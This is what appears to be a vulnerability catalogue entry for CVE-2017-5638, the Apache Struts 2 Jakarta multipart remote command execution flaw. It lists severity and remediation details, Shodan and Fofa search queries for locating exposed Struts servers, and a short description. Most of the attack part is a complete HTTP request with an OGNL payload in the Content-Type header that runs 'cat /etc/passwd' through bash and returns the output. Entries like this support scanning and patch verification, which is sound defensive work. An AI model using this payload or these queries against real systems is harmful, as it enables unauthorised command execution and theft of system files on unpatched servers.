| Title | Apache Struts 2 - Remote Command Execution |
|---|---|
| Author | Random_Robbie |
| Severity | Critical |
| Impact | Remote attackers can execute arbitrary commands on the target system. |
| Remediation | Upgrade to Apache Struts 2.3.32 or 2.5.10.1 or apply the necessary patches. |
| CVSS Score | 10 |
| EPSS Score | 0.94267 |
| CVE ID | CVE-2017-5638 |
| CWE ID | CWE-20 |
| Shodan Query | html:"Apache Struts"http.title:"struts2 showcase"http.html:"struts problem report"http.html:"apache struts" |
| Fofa Query | body="struts problem report"title="struts2 showcase"body="apache struts" |
| Tags | cve2017 cve apache kev msf struts rce vkev vuln |
Apache Struts 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is susceptible to remote command injection attacks. The Jakarta Multipart parser has incorrect exception handling and error-message generation during file upload attempts, which can allow an attacker to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header. This was exploited in March 2017 with a Content-Type header containing a #cmd= string.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Connection: close
Content-Type: %{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#cmd="cat /etc/passwd",#cmds={"/bin/bash","-c",#cmd},#p=new java.lang.ProcessBuilder(#cmds),#p.redirectErrorStream(true),#process=#p.start(),#b=#process.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#rw=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#rw.println(#e),#rw.flush())}
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-5638.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-5638.pcap
N/AN/A